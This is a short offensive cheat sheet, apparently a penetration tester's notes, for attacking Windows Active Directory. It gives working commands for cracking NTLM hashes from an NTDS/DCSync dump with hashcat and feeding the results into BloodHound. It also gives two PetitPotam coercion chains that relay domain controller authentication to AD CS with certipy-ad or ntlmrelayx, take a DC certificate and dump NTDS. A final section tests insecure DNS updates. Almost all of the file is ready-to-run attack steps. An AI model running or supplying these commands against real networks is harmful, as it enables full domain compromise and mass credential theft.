cheatsheet.txt

# Export in hashcat format (sort of)
nxcdb creds export hashcat "filename"

# Prepare NTLM for hashcat
sed 's/:[^:]*:/:/g' filename > newfilename

# hashcat for NTLM (DCSync)
sudo hashcat --username -a 0 -m 1000 hashes /usr/share/wordlists/rockyou.txt -r ~/tools/OneRuleToRuleThemStill/OneRuleToRuleThemStill.rule -O -w 4 --force
sudo hashcat --username -a 0 -m 1000 hashes --show
sudo hashcat --username -a 0 -m 1000 hashes --show | sed "s/^/DOMAIN.TLD\\\\/" > crackhound_input.txt

# Crack straight from nxc 
hashcat -m 1000 -w 3 -O -d 1,2 -a 0 -p : --session=all --username -o cracked.out --outfile-format=3 ../file.ntds rockyou.txt -r OneRuleToRuleThemStill.rule --potfile-path hashcat.pot

# Add shit to Bloodhound
crackhound.py -f crackhound_input.txt -u neo4j -p toor -plaintext -addpw

# PetitPotam
## Variant 1
Get PetitPotam from "topotam" (github)
pip3 install certipy-ad

python3 PetitPotam.py -u <user> -p <pass> -d <DOMAIN> -dc-ip <DCIP> <KALIIP> <DCIP>

certipy-ad relay -target "http://CA.domain.tld" -template DomainController
certipy-ad auth -pfx "PFXFILE" -dc-ip <DCIP>

## Variant 2
python3 PetitPotam.py -u <user> -p <pass> -d <DOMAIN> -dc-ip <DCIP> <KALIIP> <DCIP>

sudo /usr/bin/impacket-ntlmrelayx -t http://<ca>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

cat cert64 | base64 -d > cert.pfx
certipy-ad auth -pfx "PFXFILE" -dc-ip <DCIP>

nxc smb -u <dc01$> -H <NTLMHASH> -d <DOMAIN> <DCIP> --ntds


# Insecure DNS
nsupdate
server <DNS-Server>
update add pt.<FQDN> 5 TXT "Hello World"
send
quit

nslookup
server <DNS-Server>
set type=txt
pt.<FQDN>